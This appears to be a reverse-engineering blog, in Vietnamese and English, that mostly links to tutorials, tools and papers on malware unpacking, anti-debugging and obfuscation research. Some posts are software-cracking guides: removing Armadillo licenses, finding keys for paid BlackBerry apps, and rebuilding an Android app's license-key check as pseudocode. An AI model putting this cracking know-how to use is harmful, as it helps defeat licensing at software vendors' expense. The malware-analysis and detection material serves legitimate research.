via Norwegian Honeynet Project » Blog Archive » Analysing malicious PDF documents and shellcode.

Malware unpacking in OllyDbg

March 26th, 2008 by mkrakvik (1) Tips & Tricks, Videos

From time to time, we come across malware that is more interesting than others. A couple of months ago we saw a trojan bot with MSN spreading capabilities. And as usual, the malware was packed. However, I was not able to identify the packer being used (using PEiD, and similar tools). So I tried unpacking this sample manually in OllyDbg, and discovered that it was actually using threads to unpack itself, something I haven’t seen before.

Below you can find my very first screencast, showing how this sample was unpacked. Enjoy! :)

Unpacking in OllyDbg

Unpacking in OllyDbg

(will open in new window)

via Norwegian Honeynet Project » Blog Archive » Malware unpacking in OllyDbg.

My foobar lolz :)

Posted: January 28, 2010 in Uncategorized
Tags:

Tập tành với foobar để còn theo kịp thời đại, không thì không biết người ta hay dùng nó để nghe nhạc Lossless :D

foobar

My favourite band…

OllyDBG_tut22!!

Posted: January 29, 2010 in OllyDbg Tutorials, OllyDbg_tut22
Tags:

I. Giới thiệu chung

Tiếp tục với chủ đề Anti-Debug, ở phần 22 này chúng ta sẽ tìm hiểu thêm hai “thủ thuật” mới, thường được áp dụng cùng nhau hoặc riêng lẻ. Crackme để chúng ta nghiên cứu trong phần này là Sphynx.exe, của tác giả có nick name là d@b. Mặc định tôi xem như các bạn đã hiểu hết những gì tôi viết ở các phần trước, trong phần này chúng ta sẽ sử dụng bản Olly đã được chỉnh sửa bởi chương trình repair0.6 mà tôi giới thiệu ở bài 21. Trên máy của tôi bản OllyDbg gốc được repair0.6 sửa lại và đặt tên là Ltp10.exe, thêm vào đó plugin HideDebugger được cấu hình như sau :

……..

Download toàn bộ bài viết tại đây:

http://www.mediafire.com/download.php?n0jzmzahnmy

Best Regards

m4n0w4r

A different approach – using Nektra Spy Studio

Hi everyone,

A quick tutorial on a different approach I tried when I was bored!

In the tutorial I show how I used a different approach to attack a simple crackme. Using Nekstra Spy Studio to hook the appropriate APIs and IDA to guage what was going on, we reverse this target very quickly.

Whilst the target is very simple, the approach will work in many different scenarios I think.

Anyway, I hope someone finds something useful in it! I tried to make it pretty clear, but this is maybe the 2nd or 3rd tutorial I’ve ever done – so be gentle

-=bb=-

Download here:

http://www.mediafire.com/download.php?dzmzmzzl3ue

Java Reversing.

Posted: February 10, 2010 in Java Reversing, Other Tutorials
Tags:
Author Epokh
Author email epokh©libero.it
Author website http://quequero.org/

The following is a sample tutorial on Java reversing. The reader must know the architecture and Java JVM asm, however I will report some essentials during the article.

Download here:

http://www.mediafire.com/download.php?ovmcmgmxz4n

Cracking Java programs part 2:

Cracking 4 java programs

Updating files under the jar archive if the archive contains case senzitive names like Ab.class AB.class

Adding stack dumps to classes

VisualVM

Debugging whit Jdb

Link: http://plunder.com/3e990dd2a8

First target deprotected: http://plunder.com/de8da2ab4c

Tools used in this paper: Advanced Find and Replace 5, Class Constructions Kit v1.0 Beta 5, DJ Java Decompiler v3.11.11.95, JavaClassViewer, jd-gui v0.3.1, pf-cda – Class depedency Analyzer v1.12:

http://plunder.com/6c152ab3fc

PPC Altivec Plugin 1.6.6

Author Xorloser

Author website http://xorloser.com/

Description PPC Altivec Plugin for IDA v5.6 which adds support for special instructions that are used by some PPC based devices. This was originally written by Dean Ashton and then updated by Takires. This is useful when disassembling Xbox360 and PS3 binaries in IDA as they utilise these special instructions that are not supported by IDA’s built in PPC disassembler module.

Support added for the instructions: attn, lwsync, ptesync, tlbiel, tlbie, tlbi, slbie.

Also added support for the SystemSim “callthru” instruction (should this even be used outside of a simulator?) and lastly an instruction that I cannot find any information about. The hex value is 0×02002000 so for now I have added this instruction as opcode_02002000 so that it will at least disassemble to code and can therefore be treated as code.

via Tuts 4 You: Downloads / / PPC Altivec Plugin 1.6.6.

ExeCryptor 2.4.x (Tips and Tricks)

Author: SunBeam

Author website: http://forum.tuts4you.com/index.php?showtopic=22369

Description Posting the start of a series that might be appreciated in the near-by future. EXECryptor is a good protector, but as time passes by, it gets deprecated. I included a few articles (3 so far) that discuss in depth some of its internals (mostly practical, not theoretical). Package contains a proof of concept (implementing SDK in a test application), our real target and the tools/scripts I used. As a side note, these articles differ (in content and thematic) from what Zool@nder posted in the other thread.

Download here:

http://hotfile.com/dl/29936275/5953bc4/EXECryptor.v2.4.x.Tips.and.Tricks.zip.html

Hi all,

it’s time for a new interesting tutorial, this time SSlEvIN took time for a journey into manual unpacking, fixing imports of PE Compact. This is a beginners tutorial, but he also got time to add an audio track with his voice narrating the story..I think it’s a valuable product and as usual an interesting instrument for beginners as well for trained reversers. One thing probably not everyone knows is also the proper usage of Load/Save Tree buttons in ImpREC..

Get it here

http://www.accessroot.com/arteam/site/download.php?view.320

Enjoy,

Shub

Delphi Decompiler 1.1.0.194

Author: BitMaker

Author email: bitmaker©mail.ru

Description Delphi Decompiler can analyze executables compiled with Delphi 2 to 7 giving you; all DFM files of the target,

commented ASM code with references to strings, imported function calls, classes methods calls, components in the unit, Try-Except and Try-Finally blocks.

Note, this is a rewrite of the original DeDe. Changes and updates include:

+ Updated the DSF Editor

* Fixed loss of DSF editor when parsing

+ In DSF editor adds support for Delphi 2007, 2009, 2010 (so far works only for parsing. Bpl)

* Optimized code for rendering assembly code

* Full reconstruction project to accelerate work on a batch of assemblies and the subsequent testing

+ Updated the PE Editor

+ Improved the window “Options”

+ Added ability to change fonts:

- In the DFM Editor

- Lists ListView

- In disassembler

* Reduced the delay timer on the window screen saver

* Fixed a PE editor

+ Added saving of projects Delphi 2007

+ Added saving of projects Delphi 2009

+ Added saving of projects Delphi 2010

+ Rewritten engine decompilation DCU

+ Rewrote the analysis engine EXE

+ New format doi and dsf

+ Completely changed interface

+ Ability to fully maintain the project (full load project being finalized)

+ Full support for programs written in Delphi 2 – 7

Download here:

http://tuts4you.com/request.php?2867

TLS Callback in VC++

Tác giả  : Benina (REA)

Kỹ thuật này được các tay viết virus và các nhà phát triển phần mềm protector ứng dụng tối đa. Nó xuất hiện lần đầu tiên trong một bài viết của roy g biv nhóm 29a rất nổi tiếng vào khoảng năm 2003. Hiện nay lão ta đã 31 tuổi, và đang playing trong EOF team. Trong bài viết này roy g biv có public source code của con virus có tên là W32.Shrug. Sau đó không lâu kỹ thuật này được các tay viết virus “đưa vào thực tế” gây ảnh hưởng xấu cho cộng đồng. Đó là mặt trái của TLS Callback.

Một ứng dụng có ích của nó đã được các protecter áp dụng rất hiệu quả. Nó được ứng dụng trong protector rất nổi tiếng ExeCrytor để chống lại các cr*cker. Nhưng không bao lâu các cr*cker đã đánh bại nó. Một trong số đó là deroko bên ARTeam. Vào tiếp theo là hàng loạt tool, tut về kỹ thuật này.

Vào năm 2008, lúc tôi mới vào chơi trong 4rum vnvirus, lúc đó tôi hoàn toàn chưa biết kỹ thuật này đã “đưa vào thực tế” trong lĩnh vực virus. Do đó tôi có coding thử một virus và đã pulbic demo cho anh em nghiên cứu. Ít lâu sau NhatPhuongLe cũng có viết một bài về đề tài này. Nhưng chỉ dừng lại ở bypass khi cr*cking. Một số bạn có hỏi tôi về kỹ thuật này khi biên dịch trong VC++. Nhưng lúc đó tôi chỉ coding trong tasm32 nên không quan tâm đến câu hỏi. Hôm nay tôi sẽ trình bày tương đối cho các bạn khi lập trình TLS Callback trong VC++.

Download here: http://www.mediafire.com/?zmlmmnmmjdm

Mass Malware Analysis – A Do It Yourself Kit

Author:  Christian Wojner

Author email: Wojner©cert.at

Author website : http://cert.at/

Description This paper outlines the relevant steps to build up a customizable automated malware analysis station by using only freely available components with the exception of the target OS (Windows XP) itself. Further a special focus lies in handling a huge amount of malware samples and the actual implementation at CERT.at. As primary goal the reader of this paper should be able to build up her own specific installation and configuration while being free in her decision which components to use.

The first part of this document will cover all the theoretical, strategic and methodological aspects. The second part is focusing on the practical aspects by diving into CERT.at’s automated malware analysis station closing with an easy to follow step-by-step tutorial, how to build up CERT.at’s implementation for your own use. So feel free to skip parts.

Filesize : 836.66 kB

Download here : http://tuts4you.com/request.php?2869

Hôm nay giới thiệu tới anh em một bài hát thuộc hàng top hit mà có lẽ ít người được nghe. Bài hát này ra đời vào năm 1974, thuộc thể loại folk rock. Được sáng tác bởi Harry Chapin, sau khi ra đời nó đã đứng đầu bảng xếp hạng Billboard Hot 100 trong Tháng Mười Hai năm 1974. Ca từ trong bài hát được phổ lại từ chính bài thơ mà vợ ông, bà Sandy Chapin đã viết.Bài thơ mà bà viết lấy cảm hứng từ mối quan hệ giữa người chồng đầu tiên của bà với cha đẻ.

Sau này, tác phẩm được cover lại bởi nhóm Ugly Kid Joe .. phải nói là nghe rất hay. Đại ý của bài như một câu truyện được kể ra bởi một người cha quá bận rộn với công việc, ông không còn thời gian để chơi với cậu con trai của mình. Rất nhiều lần đứa con của ông đề nghị ông chơi cùng cậu, những trò chơi mà bất kì đứa trẻ nào cũng được trải qua trong lứa tuối thơ ấu, nhưng đáp lại người cha chỉ biết hứa hẹn và đưa ra nhiều lý do ….Trong quãng thời gian sống với cha mình, người con luôn ngưỡng mộ ông, coi ông như một hình mẫu để noi theo… Để rồi sau này, khi người con trưởng thành .. anh đã bị ảnh hưởng bởi chính lối sống thiếu quan tâm của cha mình. Khi ông đề nghị anh tới thăm ông, nhưng đáp lại lời khẩn thiết đó … là câu nói theo kiểu “Thưa cha, giờ con đang rất bận. Con sẽ cố gắng thu xếp để tới thăm cha” :| ….

Hehe, nghe bài này để đúc rút kinh nghiệm, giờ tôi đã có một cậu con trai, tôi sẽ cố gằng dạy dỗ và dành những gì tốt đẹp nhất cho cu cậu :D

Toàn bộ lời bài hát :

“My child arrived just the other day
Came to the world in the usual way
But there were planes to catch and bills to pay
He learned to walk while I was away
He was talkin’ ‘fore I knew it
And as he grew he said,
I’m gonna be like you, dad,
You know I’m gonna be like you.

And the cat’s in the cradle and the silver spoon,
Little boy blue and the man on the moon.
when you comin’ home?
son, I don’t know when. we’ll get together then.
You know we’ll have a good time then.

Well, my son turned ten just the other day.
He said, ‘thanks for the ball, dad. come on, let’s play.
Could you teach me to throw?
I said, not today. I got a lot to do.
He said, that’s okay. and he walked away and he smiled and he
said ya know, I’m gonna be like him, yeah.
You know I’m gonna be like him.

And the cat’s in the cradle and the silver spoon,
Little boy blue and the man on the moon.
when you comin’ home?
son, I don’t know when. we’ll get together then.
You know we’ll have a good time then.

Well, he came from college just the other day,
So much like a man I just had to say,
son I’m proud of you. could you sit for a while?
He shook his head and he said with a smile,
what I’d really like, dad, is to borrow the car keys.
See you later. can I have them please?

And the cat’s in the cradle and the silver spoon,
Little boy blue and the man on the moon.
when you comin’ home?
son, I don’t know when. we’ll get together then.
You know we’ll have a good time then.

I’ve long since retired, my son’s moved away.
I called him up just the other day.
I’d like to see you, if you don’t mind.
He said, I’d love to, dad, if I could find the time.
You see my new job’s a hassle and the kids have the flu,
But it’s sure nice talkin’ to you, dad.
It’s been sure nice talkin’ to you.
And as I hung up the phone it occurred to me,
He’d grown up just like me.
My boy was just like me.

And the cat’s in the cradle and the silver spoon,
Little boy blue and the man on the moon.
when you comin’ home?
son, I don’t know when. we’ll get together then.
You know we’ll have a good time then.”

Mời anh em nghe và cảm nhận :D

Underhood on Armadillo License Removal

Author Ghandi

Description A complete videotutorial showing how to remove license expiration information from armadillo targets (versions 3.48 to 7). An argument that’s widely exploited by existing tools, but not explained with such details. The tutorial comes with a complete set of tool, source and all you need to deeply understand this argument.

Filesize 3.5 MB

Download here: http://arteam.accessroot.com/arteam/site/request.php?321

I. Giới thiệu

Tình hình là trong REA có tôi và một số anh em khác xài dòng điện thoại BlackBerry, ngặt một nỗi là soft cho BlackBerry hầu như là mất phí mới dùng lâu dài được. Trong quá trình sử dụng và google các kiểu, tôi cũng có tổng hợp được cách để tìm key cho các phần mềm có khả năng tìm được key :D (không phải là tất cả nhé, vì có một số chương trình bắt active online). Kiến thức thì cũng có hạn, biết đến đâu thì tôi viết đến đấy thôi … cho nên nếu anh em có ý định “chém gió” thì cứ thoải mải.

II. Công cụ sử dụng

1. Vmware cài Windows XP : thực ra cũng chẳng cần phải dùng đến Vmware, nhưng tôi thích làm trên Vmware để đỡ phải đụng chạm trên máy thật, cài cắm chương trình các thứ thoải mái, tẹt ga. Khi nào không thích thì revert snapshot một cái là về nguyên bản.

2. BlackBerry Smartphone Simulators : Chương trình này dùng để giả lập một con máy BB giống hệt như con BB mà anh em dùng. Mục đích là để test chương trình cần tìm key, cài cắm theme mới xem thử có ngon không trước khi cài lên máy thật v..v… Trình giả lập này anh em download ở đây : http://na.blackberry.com/eng/developers/resources/simulators.jsp

3. OllyDbg hoặc WinHex : Cá nhân tôi thì thấy dùng WinHex tiện hơn ở chỗ tìm kiếm nhanh gọn, dễ nhìn thấy key hơn J.

4. Dmpclean.bat : Thằng này dùng để xoá trắng máy trở về nguyên bản như cũ. Áp dụng trong trường hợp anh em muốn dùng để crack hộ bạn bè hoặc người yêu lolz. Download ở đây : http://www.mediafire.com/download.php?mcglmtdnrd3

5. Application : Chính là ứng dụng mà chúng ta muốn tìm key, không có nó thì mấy cái trên có cũng như không :)

Download bài viết :

How to crack BlackBerry App

Introduction to File Infection Techniques

Author : ir3t

Author email: ir3t©freeunix.net

Description This paper was written within the scope of the author´s own learning process, during her studies of computer science and on the basis of her own malware analyses.

It was published in order to offer an introduction to several file infection techniques used by viruses, showing examples and explaining appropriate countermeasures.

It is aimed at everyone who is interested in the topic of malware and does not require previous knowledge, though a basic understanding of the PE file format, virtual memory management and the Windows OS in general is advantageous.

The author apologizes for grammar and/or contextual mistakes and is happy about any feedback.

Filesize 393.87 kB

Download here : http://tuts4you.com/request.php?2884

Author : Computer_Angel (REA’s Admin)

1. File .apk của android tương đương với .jar của java, tức là file .zip. Rename lại, extract ra sẽ được file cần đó là classes.dex, file này chứa các class đã compile.
2. Dùng tool smali/baksmali để disasmble ra opcode. (http://code.google.com/p/smali/) . Opcode của android gọi là dalvik opcodes.
3. Tra cứu bảng dalvik opcode để tìm hiểu ý nghĩa các opcode. (http://pallergabor.uw.hu/androidblog…k_opcodes.html)
4. Phân tích sơ bộ:

Code:
.method private static ValidateLicenseKeyAlgA(Ljava/lang/String;)Z
.limit  registers 11
; parameter[0] : v10 (Ljava/lang/String;)
.var 0 is  curr C from l13c0ce to l13c104
.var 2 is j I from l13c0e0 to l13c104
     const/4    v9,5        ; v9=5
    const/4    v8,0
.line 242
     if-eqz    v10,l13c0a8
    invoke-virtual     {v10},java/lang/String/length    ; length()I
    move-result    v6         ; v6=length serial
    const/16    v7,10
    if-eq     v6,v7,l13c0ac
l13c0a8:
    move    v6,v8
l13c0aa:
.line 261
     return    v6
l13c0ac:
.line 244
    invoke-virtual     {v10},java/lang/String/toLowerCase    ; toLowerCase()Ljava/lang/String;
     move-result-object    v3        ; v3 = lowcase serial
.line 247
     const/4    v4,0
.line 248
    const/4    v5,0
.line 250
     const/4    v1,0                ; v1=0
l13c0ba:
    if-lt     v1,v9,l13c0c6    ; if v1<5
.line 259
    if-eq     v4,v5,l13c104
    move    v6,v8
    goto    l13c0aa
l13c0c6:
.line  251
    invoke-virtual    {v3,v1},java/lang/String/charAt    ;  charAt(I)C
    move-result    v0            ; v0 = v3[v1]
.line  252
    add-int/2addr    v4,v0    ; v4=v4+v0
.line 253
     add-int/lit8    v6,v1,5    ; v6=v1+5
    invoke-virtual     {v3,v6},java/lang/String/charAt    ; charAt(I)C
    move-result     v6            ; v6=v3[v6]
    add-int/2addr    v5,v6    ; v5=v5+v6
.line  255
    const/4    v2,0    ;    v2=0
l13c0e0:
    if-lt     v2,v9,l13c0ea    ; if v2<5
.line 250
    add-int/lit8     v1,v1,1
    goto    l13c0ba
l13c0ea:
.line 256
     add-int/lit8    v6,v2,5
    invoke-virtual     {v3,v6},java/lang/String/charAt    ; charAt(I)C
    move-result     v6
    if-ne    v0,v6,l13c0fe
    move    v6,v8
    goto     l13c0aa
l13c0fe:
.line 255
    add-int/lit8    v2,v2,1
     goto    l13c0e0
l13c104:
.line 261
    const/4    v6,1
     goto    l13c0aa
.end method

5. Dựng thành code giả:

Code:
v4=0
v5=0
v1=0

A:
if v1<5
    v0=v3[v1]
     v4=v4+v0
    v6=v1+5
    v6=v3[v6]
    v5=v5+v6
    v2=0
B:
     if v2<5
        v6=v2+5
        v6=v3[v6]
        if  v0!=v6
            v2=v2+1
            goto B
        else
             return 0
    else
        v1=v1+1
        goto A
else  if v4==v5
    return 1
else
    return 0

6. Optimize code giả lần 1:

Code:
v4=0;
v5=0;
v1=0;
while (v1<5)
{
    v0=serial[v1];
     v4+=v0;
    v6=v3[v1+5];
    v5+=v6;
    v2=0;
    while  (v2<5)
    {
        v6=v3[v2+5];
        if (v0!=v6)
             v2++;
        else
            break;
    }
     v1++;
}
if (v4==v5)
    return true;
else
    return  false;

7. Optimize code giả lần 2:

Code:
v4=0;
v5=0;
v1=0;
while (v1<5)
{
    v4+=serial[v1];
    v5+=serial[v1+5];
    v2=0;
    while (v2<5)
     {
        if (serial[v1]!=serial[v2+5])
            v2++;
         else
            break;
    }
    v1++;
}
if  (v4==v5)
    return true;
else
    return false;

8. Xong.

Code Obfuscation and Malware Detection

Author : Mila Dalla Preda

Author email: dallapre©sci.univr.it

Description An obfuscating transformation aims at confusing a program in order to make it more difficult to understand while preserving its functionality. Software protection and malware detection are two major applications of code obfuscation. Software developers use code obfuscation in order to defend their programs against attacks to the intellectual property, usually called malicious host attacks. In fact, by making the programs more difficult to understand it is possible to obstruct malicious reverse engineering – a typical attack to the intellectual property of programs. On the other side, malware writers usually obfuscate their malicious code in order to avoid detection. In this setting, the ability of code obfuscation to foil most of the existing detection techniques, such as misuse detection algorithms, relies in their purely syntactic nature that makes malware detection sensitive to slight modifications of programs syntax. In the software protection scenario, researchers try to develop sophisticated obfuscating techniques that are able to resist as many attacks as possible. In the malware detection scenario, on the other hand, it is important to design advanced detection algorithms in order to detect as many variants of obfuscated malware as possible. It is clear how both malicious host and malicious code attacks represent harmful threats to the security of computer networks.

Filesize 1.3 MB

Download here:

http://tuts4you.com/request.php?2913

Regards

Primer on Android OS Reversing

Author : Nieylana

Description This a tutorial which explains how to reverse Android OS applications. While most apps available are free, there are a few which are interesting to reverse. The video tutorial includes also the required reversing tools and instructions to setup your reversing lab.

Filesize 15.81 MB

Date Friday 21 May 2010 – 17:06:34

Download here: http://arteam.accessroot.com/arteam/site/request.php?322

Regards

OllyDbg 2.0.1.1 (Final)

Author: Oleh Yuschuk

Author email : Ollydbg©t-online.de

Author website : http://www.ollydbg.de/

Description:

OllyDbg 2.0 is a 32-bit assembler-level analyzing Degugger with intuitive interface. It is especially useful if source code is not available or when you experience problems with your compiler.

Requirements. Developed and tested mainly under Windows 2000 and Windows XP, but should work under any Windows version: 95, 98, ME, NT, 2000, XP, 2003 Server, Vista, Windows 7 and so on. For a comfortable debugging you will need at least 500-MHz processor. OllyDbg is memory hungry. If you debug large application with all features enabled, it may allocate 200-300 megabytes for backup and analysis data.

Supported instruction sets. OllyDbg 2.0 supports all existing 80×86-compatible CPUs: MMX, 3DNow!, including Athlon extentions, and SSE instructions up to SSSE3 and SSE4.

Configurability. More than 120 options (oh, no! This time it’s definitely too much!) control OllyDbg’s behaviour and appearance.

Data formats. Dump windows display data in all common formats: hexadecimal, ASCII, UNICODE, 16 and 32-bit signed/unsigned/hexadecimal integers, 32/64/80-bit floats, addresses, disassembly (MASM, IDEAL, HLA or AT&T). It also decodes and comments many Windows-specific structures, including PE headers, PEB, Thread data blocks and so on.

Help. OllyDbg 2.0 includes built-in help on all 80×86 integer and floating-point commands. If you possess Windows API help (win32.hlp, not included due to copyright reasons), you can attach it and get instant help on system API calls.

…..

Download here: http://ollydbg.de/odbg200.zip

Regards

Anti-Unpacker Tricks 2 – Part 8

Author : Peter Ferrie

Author website: http://pferrie.tripod.com/

Description Unpackers have been around for as long as packers themselves, but anti-unpacking tricks have appeared more recently – and have increased rapidly both in number and, in some cases, complexity.

The final part of this series of articles (see also [1–7]) concentrates on anti-debugging tricks that target a number of popular debuggers, as well as some anti-emulating and anti-intercepting tricks.

All of the techniques described here were discovered and developed by the author.

Download here: http://tuts4you.com/request.php?2928

Regards

Unofficial Reversing On The S40 Revealed (Part 1)

Author : Funtikar

Author email :funtikar©gmail.com

Author website : http://funtikar.xtgem.com/

Description:

In this tutorial I will show you how to use the tools to get started on reversing j2me applications on J2ME enabled phones especially on the Nokia S40v3This is an extension from my previous tutorial which means that this is not part two. Please download my previous tutorial which is “Reversing J2ME Applications” on tuts4you. I have already explained the basics there.

Download here:
http://tuts4you.com/request.php?2931

Regards

Author CDKiLLER & TippeX
Author website http://pid.gamecopyworld.com/
Description Features:

- detection of every major PC ISO Game / Application protection
- currently covers 475 detections, including win32/64 exe protectors & packers, .net protectors, dongles, licenses & installers
- sector scanning CDs / DVDs for Copy Protections
- files / folders can simply be drag & droped into pid
- strong scanning routines allowing it to detect multiple protections
- easy scanning via shell context menu
- usefully misc tools included
- coded 100% in Win32 assembly language
- fully 32bit & 64bit compliant
- working from Win9x to Windows 7

Theories and Methods of Code-Caves

Author: Faldo

Description Since many have read my tutorial on basic memory hacking and got stuck on the creation of code-caves, I’ve decided to make a short follow-up on some code-cave techniques where I’ll explain the WHYs and the HOWs.

Archive also contains “Theories and methods of memory hacking”.

Filesize 744.53 kB

Download here : http://tuts4you.com/request.php?2957

Inference and Analysis of Formal Models of Botnet

Author [ Various Authors ]

Description :

We propose a novel approach to infer complete protocol state machines in realistic high-latency network setting, and apply it to the analysis of botnet C&C protocols. Our proposed techniques enable an order of magnitude reduction in the number of queries and time needed to learn a botnet C&C protocol than classic algorithms (from days to hours for inferring MegaD C&C protocol). We also show that the computed complete protocol state machines enable powerful analysis for botnet defense, including finding weakest links in a protocol, uncovering protocol design flaws, inferring the existence of unobservable communication back-channels among botnet servers, and finding deviations of protocol implementations which can be used for fingerprinting. Our experimental results on MegaD demonstrate that our technology offers invaluable novel insights to existing problems on botnet C&C and provides a powerful weapon for botnet defense.

Download here : Inference and Analysis of Formal Models of Botnet

Kernel Malware – The Attack from Within

Author : Kimmo Kasslin

Author website : kimmo.kasslin©f-secure.com/

Description:

The Kernel is the heart of modern operating systems. Code executing in kernel mode has full access to all memory including the kernel itself, all CPU instructions, and all hardware. For this obvious reason only the most trusted software should be allowed to run in kernel mode.

Today, we are facing an emerging threat in the form of kernel-mode malware. By kernel-mode malware we mean malicious software that executes as part of the operating system having full access to the computer’s resources. To the end-user this means malware that can bypass software firewalls and can be almost impossible to detect or remove even if the best anti-virus solutions are being used.

This paper will examine the most important malware cases utilizing kernel-mode techniques over the last few years. The research will be limited to malware running on Windows NT and later operating system versions. It will look at the possible motives for the malware authors to move their creations to kernel mode. A detailed analysis of the key techniques making their existence possible will be covered.

Filesize 615.62 kB

Download : Kernel Malware – The Attack from Within

Automatic Binary Deobfuscation

Author : Yoann Guillot + Alexandre Gazet

Author email : yoann.guillot©sogeti.com

Description This paper gives an overview of our research in the automation of the process of software protection analysis. We will focus more particularly on the problem of obfuscation.

Our current approach is based on a local semantic analysis, which aims to rewrite the binary code in a simpler (easier to understand) way. This approach has the advantage of not relying on a manual search for “patterns” of obfuscation. This way of manipulating the code is, at the end, quite similar to the optimising stage of most of compilers. We will exhibit concrete results based on the development of a prototype and its application to a test target. Current limitations and future prospects will be discussed in as well.

As a continuation of our work from last year, we focus on the automation of the software protection analysis process. We will focus more particularly on the problem of obfuscation.

This problem is crucial as most malicious binaries (like viruses or trojans) use this kind of protection to slow down their analysis and to make their detection harder. Automation is a key step in order to face the constant growth of the amount of malware, year after year.

Our previous paper was mainly focused on the attack and suppression of protection mechanisms using the Metasm framework. It provides many useful primitives to deal with protected code: control flow graph manipulation, recompilation, filtering processor, nevertheless most of these approaches rely on a tedious work of manual identification of the “patterns” used by the protection.

We will now present the development of our new methods, relying on a semantic analysis of the binary code to extract a simpler representation. The objective is no longer to seek and destroy known patterns, but to proceed to a complete, on-the-fly, optimised code rewriting.

We will exhibit concrete results obtained by applying these methods to a test target. Then, current limitations and future prospects will be discussed.

Filesize 437.38 kB

Download here : http://tuts4you.com/request.php?2978

Regards

An Exercise in RSA Reversal (RSA128 + MD5)

Author:  Office Jesus

Description Hi and welcome to another Office Jesus tutorial. I just want to go ahead and say that if you are an ABSOLUTE beginner with no experience debugging or coding (Delphi in this case), you should NOT read this tutorial! I recommend watching Lena151′s tutorials; they can be found at www.tuts4you.com. In this tutorial we will be exploring a simple serial checking routine that uses the MD5 hash and the RSA algorithm. I will not go into detail on how MD5 works or how it could be implemented. For more reading about MD5, check out the MD5 tutorials by Encrypto and ARTeam. I will try to explain RSA to the best of my ability. For further reading on RSA, visit RSA Wiki.

Filesize 1.25 MB

Download here: http://tuts4you.com/request.php?2968

Discovering Variables in Executables

Author : Gogul Balakrishnan + Thomas Reps

Description This paper addresses the problem of recovering variable-like entities when analyzing executables in the absence of debugging information. We show that variable-like entities can be recovered by iterating Value-Set Analysis (VSA), a combined numeric-analysis and pointer-analysis algorithm, and Aggregate Structure Identification, an algorithm to identify the structure of aggregates. Our initial experiments show that the technique is successful in correctly identifying 88% of the local variables and 89% of the fields of heap-allocated objects. Previous techniques recovered 83% of the local variables, but 0% of the fields of heap-allocated objects. Moreover, the values computed by VSA using the variables recovered by our algorithm would allow any subsequent analysis to do a better job of interpreting instructions that use indirect addressing to access arrays and heap-allocated data objects: indirect operands can be resolved better at 4% to 39% of the sites of writes and up to 8% of the sites of reads. (These are the memory-access operations for which it is the most difficult for an analyzer to obtain useful results.)

Filesize 244.87 kB

Download here: http://tuts4you.com/request.php?2955

Regards

StrongOD 0.3.7.666

Posted: October 25, 2010 in Uncategorized

StrongOD 0.3.7.666

Author 海风月影

Author email : StrongOD©safengine.com

Author website:  http://www.unpack.cn/viewthread.php?tid=28854

Description Make your OllyDbg Strong!

This plug-in provides three kinds of ways to initiate the process:

1, Normal – And the same manner as the original start, the STARTUPINFO inside unclean data

2, CreateAsUser – User with a mandate to initiate the process of the user, so that the process running under the purview of the User, unable to establish the process Admin operation.

Running is such a need in the local security strategy – the user rights assignment inside your users will join the two powers:

1, the replacement process-level marks (SeAssignPrimaryTokenPrivilege)

2, the operating system mode operations (SeTcbPrivilege)

If the home version of the windows, unable to set up, then you can try to use SuperMode and reopen the OD to upgrade the competence and strongly does not recommend the use of this option

3, CreateAsRestrict – The second option the user with User authority to initiate the process more restricted areas, and increase the third function to a explicit Admin users to initiate proceedings.

The procedure is initiated Admin user, but power users only some of the default User authority, all authority to delete some risk (including SeDebugPrivilege, SeLoadDriverPrivilege, etc.), this procedure will not run OD cause great harm. In this way the proposed commencement of the proceedings.

Download here:http://tuts4you.com/request.php?2028

Reverse engineering aims at supporting program comprehension, by exploiting the source code as the major source of information about the organization and behavior of a program, and by extracting a set of potentially useful views provided to programmers in the form of diagrams. Alternative perspectives can be adopted when the source code is analyzed and different higher level views are extracted from it. The focus may either be on the structure, on the behavior, on the internal states, or on the physical organization of the files. A single diagram recovered from the code through reverse engineering is insufficient. Rather, a set of complementary views need to be obtained, addressing different program understanding needs.

Download here:

http://docs.4share.vn/docs/221/Reverse_Engineering_of_Object_Oriented_Code.html

Regards

A Method for Detecting Obfuscated Calls in Malicious Binaries

Author : Arun Lakhotia + Eric Uday Kumar + and Michael Venable

Description Information about calls to the operating system (or kernel libraries) made by a binary executable may be used to determine whether the binary is malicious. Being aware of this approach, malicious programmers hide this information by making such calls without using the call instruction. For instance, the call addr instruction may be replaced by two push instructions and a ret instruction, the first push pushes the address of instruction after the ret instruction, and the second push pushes the address addr. The code may be further obfuscated by spreading the three instructions and by splitting each instruction into multiple instructions. This work presents a method to statically detect obfuscated calls in binary code. The idea is to use abstract interpretation to detect where the normal call-ret convention is violated. These violations can be detected by what is called an abstract stack graph. An abstract stack graph is a concise representation of all potential abstract stacks at every point in a program. An abstract stack is used to associate each element in the stack to the instruction that pushes the element. An algorithm for constructing the abstract stack graph is also presented. Methods for using the abstract stack graph are shown to detect eight different obfuscations. The technique is demonstrated by implementing a prototype tool called DOC (Detector for Obfuscated Calls).

Filesize 1.01 MB

Download here: http://tuts4you.com/request.php?3047

Author    : Deathway
Description  :   This tool will help conversion VirtualOpcodes -> Assembly Instruction. Restoring the original code of your virtualized application, the basic engine was from CodeUnvirtualizer, my other tool.

[Features]

- Supports WinLicense/Themida/CodeVirtualizer Cisc Machines
- Supports almost all common opcodes
- Supports CHECK_MACRO_PROTECTION
- Supppots MultiBranch Tech

[Use]

- Right-click on the jump leading to the Virtual Machine Area and press Unvirtualize (If machine isn’t found you have to click again, after checking that the full machine was correctly deofuscated)
Image     no image available

Filesize  :   312.36 kB

Download here: http://tuts4you.com/request.php?3108

Armadillo 5.xx – 8.xx (Password Patcher)

Author Mr. eXoDia

Description I was messing with Armadillo and I wondered how to crack the password protection. I compiled an UnPackMe and packed it with Armadillo v8.20 (Standard Protection + Password). I discovered that patching the password is really easy, Armadillo doesn’t even uses the password as decryption key!

Image no image available

Filesize 3.09 MB

Download : http://tuts4you.com/request.php?3113

What’s new v0.6.7

-New Interface!
Fast-Mode Detection Mode and Enhanced Powerful!
Super-Base of Signatures Updated!
Binders-heuristic detection
“Detection and Extraction Overlay!
-Checking and Automatic Updating!
Super-Fast Detection MD5 Hash!
Multiple-Support Plug-ins for both RDG Packer Detector and other detectors!
Multi-Format Detection MPG, GIF, RAR, ZIP, MP3 etc.
“Detection and removal of attachments!.
-Improved Heuristic!
“Greater stability!
-Supports Windows Vista & Windows 7
“Optimization in scanning speed
MA-detection (Quick) Totally Integrated Home Interface
From New Multi-Language.
And Much More!

Download here:

http://www.egrupos.net/grupo/rdgsoft/ficheros/8/verFichero/9/RDG%20Packer%20Detector%20v0.6.7%202011%20fx1%2030Abr2011.rar

